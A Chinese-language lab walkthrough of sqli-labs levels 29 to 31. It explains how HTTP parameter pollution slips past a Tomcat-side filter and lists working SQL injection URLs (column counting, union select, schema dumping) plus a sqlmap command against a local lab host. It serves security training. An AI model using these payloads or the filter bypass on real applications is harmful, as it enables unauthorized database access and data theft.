Less-29:
需要用到jspstudy跟phpstudy
index.jsp?id=1&id=2请求,服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该是id=2的参数。
即jsp/tomcat使用getParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值
我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。
搭建jspstudy:
sqli-labs-master文件夹下面还有tomcat文件,这才是真正的关卡,里面的jspstudy需要搭建环境jspstudy
jspstudy:https://www.xp.cn/download.html
修改网站端口,网站目录
将第29关的 url 修改成自己实际情况的
成功打开第29关
开始正式进入29关学习
(看下图)得知‘’包裹
http://192.168.27.156:8080/sqli-labs/Less-29/?id=1' order by 3--+
前面已经说了,最后返回的是后面那个参数的值,所以后面那个是id=2’对应的就是数据库的第二个
http://192.168.27.156:8080/sqli-labs/Less-29/?id=1&id=3'order by 3 --+
说明有三列
http://192.168.27.156:8080/sqli-labs/Less-29/?id=1&id=-3' union select 1,2,3--+
得到回显位置
http://192.168.27.156:8080/sqli-labs/Less-29/?id=1&id=-3' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
。
。。
。。。其他跟第一关的一样,请参照第一关
还可以使用sqlmap工具
python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-29/login.php?id=1" -v 3
Less30: 与29关原理一致,双引号,基于时间的盲注
得知””包裹
http://192.168.27.156:8080/sqli-labs/Less-30/?id=1&id=1" order by 3 --+ 得知有三列
并且没有报出错误,无法使用报错注入
剩下的与第29关一致
Less31:与30关原理一致,构造基于时间延迟盲注
使用”)包裹 其他与第29关一致